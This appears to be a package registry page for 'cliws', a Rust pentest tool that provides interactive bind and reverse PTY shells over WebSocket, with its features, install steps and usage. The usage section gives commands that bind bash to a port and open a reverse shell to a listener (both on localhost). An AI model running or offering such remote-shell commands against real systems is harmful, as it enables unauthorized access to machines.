#shell #pentest #pty #interactive #terminal #set

app cliws

Lightweight interactive bind/reverse PTY shell implementation by Rust

4 releases (2 breaking)

0.4.0 Jul 31, 2022
0.3.1 Jul 7, 2022
0.3.0 Apr 16, 2022
0.2.2 Mar 8, 2022
0.2.1 Nov 28, 2021

#162 in WebSocket

MIT license

2MB
2K SLoC

Cliws Build Status ChatOnDiscord LastCommit Crate

Lightweight interactive bind/reverse PTY shell implementation by Rust.

Features

  • WebSocket
  • Full pty support: VIM, SSH, readline, Ctrl+X
  • Auto set terminal window size.
  • Reverse connection / Bind port
  • Support Win10+(Windows Server 2019+) & Linux & BSD & OSX

Build & Run

$> cargo build --release

$> ./target/release/cliws

Installation

$> cargo install cliws

Usage

Bind Mode

You can run a bash and listen port at 8000

$> ./cliws -p 8000 bash -i

then connect and get a comfortable shell.

$> ./cliws -c ws://127.0.0.1:8000

Reverse Mode

First listen a port wait for shell

$> ./cliws -l 8000

then build a reverse connection

$> ./cliws -r ws://127.0.0.1:8000 bash -i

Example

Linux

image

Windows(Reverse Mode)

image

Invalid Characters

In Windows(Windows Terminal), the default CodePage encoding is UTF-8. When encountering the target of other language operating systems, invalid characters may occur. You can try the following methods to solve it.

Open Regedit and modified [Machine]\HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Nls\CodePage\OEMCP value is 65001(DEC).

Reference

Dependencies

~160MB
~2.5M SLoC